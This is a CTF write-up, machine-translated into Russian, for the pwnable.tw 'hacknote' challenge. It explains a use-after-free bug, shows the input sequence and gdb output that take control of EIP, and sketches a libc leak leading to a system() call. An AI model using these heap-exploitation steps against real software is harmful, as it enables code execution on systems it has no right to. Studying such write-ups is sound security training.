Хороший хакер всегда должен делать хорошие заметки!
nc chall.pwnable.tw 10102
Окружающая обстановка
$ uname -a
Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Проверить бинарную безопасность
pwndbg> checksec
[*] '/home/vagrant/work/pwnabletw/hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Результаты
Сначала я декомпилировал некоторые функции с помощью Ghidra.
Основная рутина.
Функция добавления примечания
- malloc вызывается блоками по 8 байт (данный блок управляется fastbins)
УдалитьПримечание
- Вызывает free(), но не сохраняет нулевой указатель (может быть, можно использовать Use After Free)
ПечатьПримечание
- Выполнить значение, полученное из кучи, как функцию.
- В функции printNote функция вызывается из указателя отображаемой заметки + 4-байтовое значение.
- Функция, вызываемая здесь, является указателем функции «0x804862b», добавленным функцией AddNote.
- Декомпилировано 0x804862b
Управление заметками
В hacknote заметки управляются следующим образом.
struct Note { void (putsNoteFn*)(int NotePointer); // offset + 0x0 char *NoteContent; // offset + 0x4 }
void *NoteList;
Каждая заметка связывается с NotesList после выделения памяти с помощью malloc(8).
Ошибка
Использовать после бесплатного
Функция DeleteNote не сохраняет нулевой указатель после free(), поэтому в ней есть ошибка Use After Free.
Шаги для воспроизведения:
- Добавить заметку. Вход: 1->4->ААА
- Добавить заметку. Ввод: 1->4->BBB
- Удалить примечание. Ввод: 2->0
- Добавить заметку. Вход: 1->4->CCC
- Распечатать заметку. Ввод: 3->0
«CCC» отображается, несмотря на то, что значение 0-го индекса должно было быть удалено.
Это связано с тем, что ссылка на кучу все еще существует после удаления индекса 0 на шаге 3, а значение в куче перезаписывается на шаге 4 позже.
Управление EIP с помощью UAF
- Добавить заметку
NoteList <- malloc(8)
NoteList[0]
Note {
*putsFn_p()
*content
}
2. Сохранить указатель функции
NoteList[0]
Note { // offset +0x0
putsFn_p() = 0x804862b // offset +0x0
content // offset + 0x4
}
3. Установите длину содержимого на 0x10 байт.
NoteList[0]
Note { // offset + 0x0
putsFn_p() = 0x804862b // offset + 0x0
content = malloc(0x10) // offset + 0x4
}
4. Добавьте еще одну заметку 0x10 байт
NoteList[0] Note { // offset + 0x0 putsFn_p() = 0x804862b // offset + 0x0 content = malloc(0x10) // offset + 0x4 }
NoteList[1] Note { // offset + 0x0 putsFn_p() = 0x804862b // offset + 0x0 content = malloc(0x10) // offset + 0x4 }
5. Удалить список заметок[0]
NoteList[0] Note { // offset + 0x0 fastbins[0][0] // offset + 0x0 fastbins[1][0] // offset + 0x4 }
NoteList[1] Note { // offset + 0x0 putsFn_p() = 0x804862b // offset + 0x0 content = malloc(0x10) // offset + 0x4 }
6. Удалить список заметок[1]
NoteList[0] Note { // offset + 0x0 fastbins[0][0] // offset + 0x0 fastbins[1][0] // offset + 0x4 }
NoteList[1] Note { // offset + 0x0 fastbins[0][1] // offset + 0x0 fastbins[1][1] // offset + 0x4 }
7. Команда добавления заметки: 1 -> 8 -> CCCCDDD
NoteList[0] Note { // offset + 0x0 fastbins[0][0] // offset + 0x0 fastbins[1][0] // offset + 0x4 }
NoteList[1] Note { // offset + 0x0 fastbins[0][1] // offset + 0x0 fastbins[1][1] // offset + 0x4 }
NoteList[2] Note { // offset + 0x0 putsFn_p() = 0x804862b // offset + 0x0 content = malloc(0x8) = reallocated fastbins[0][0] <= "CCCCDDD" // offset + 0x4 }
8. Состояние
NoteList[0] Note { // offset + 0x0 0x43434343("CCCC") // offset + 0x0 fastbins[1][0] // offset + 0x4 }
NoteList[1] Note { // offset + 0x0 fastbins[0][1] // offset + 0x0 fastbins[1][1] // offset + 0x4 }
NoteList[2] Note { // offset + 0x0 putsFn_p() = 0x804862b // offset + 0x0 content = malloc(0x8) = reallocated fastbins[0][0] <= "CCCCDDD" // offset + 0x4 }
9. Выполнить PrintNote: 3-›0
NoteList[0] Note { // offset + 0x0 0x43434343("CCCC") // offset + 0x0 fastbins[1][0] // offset + 0x4 }
call => 0x43434343 // Crash!!
Демо
Установите для EIP значение 0x43434343.
Шаги для воспроизведения:
- 1-›16-›АААА
- 1-›16-›BBBB
- 2->0
- 2->1
- 1-›8-›CCCDDDD
- 3->0
pwndbg> r Starting program: /home/vagrant/work/pwnabletw/hacknote/hacknote ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :1 Note size :16 Content :AAAA Success ! ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :1 Note size :16 Content :BBBB Success ! ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :2 Index :0 Success ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :2 Index :1 Success ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :1 Note size :8 Content :CCCCDDD Success ! ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :3 Index :0
Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────── *EAX 0x43434343 ('CCCC') EBX 0x0 ECX 0x0 *EDX 0x804b008 ◂— 'CCCCDDD\n' *EDI 0xf7fca000 ◂— 0x1b1db0 *ESI 0xf7fca000 ◂— 0x1b1db0 *EBP 0xffffd618 —▸ 0xffffd638 ◂— 0x0 *ESP 0xffffd5ec —▸ 0x804893f ◂— add esp, 0x10 *EIP 0x43434343 ('CCCC') ─────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────── Invalid address 0x43434343
──────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffd5ec —▸ 0x804893f ◂— add esp, 0x10 01:0004│ 0xffffd5f0 —▸ 0x804b008 ◂— 'CCCCDDD\n' 02:0008│ 0xffffd5f4 —▸ 0xffffd608 ◂— 0xa30 /* '0\n' */ 03:000c│ 0xffffd5f8 ◂— 0x4 ... ↓ 05:0014│ 0xffffd600 —▸ 0xffffd628 —▸ 0xffff0a33 ◂— 0x0 06:0018│ 0xffffd604 ◂— 0x0 07:001c│ 0xffffd608 ◂— 0xa30 /* '0\n' */ ────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────── ► f 0 43434343 f 1 804893f f 2 8048a8a f 3 f7e30637 __libc_start_main+247 Program received signal SIGSEGV (fault address 0x43434343)
Эксплойт
Получаем управление EIP.
Далее запускаем эксплойт.
План:
- puts() адрес функции read@GOT
- Утечка базового адреса libc путем вычитания смещения адреса функции read@GOT
- Вычислить базовый адрес libc + system()
- Отправить системный () адрес
- Выполнить систему()
Если возможна утечка адреса libc, проблем нет, даже если это не функция read@GOT.
Смещение функции.
$ nm -D libc_32.so.6 | grep system - snip - 0003a940 W system
$ nm -D ./libc_32.so.6 | grep read - snip - 000d41c0 W read - snip -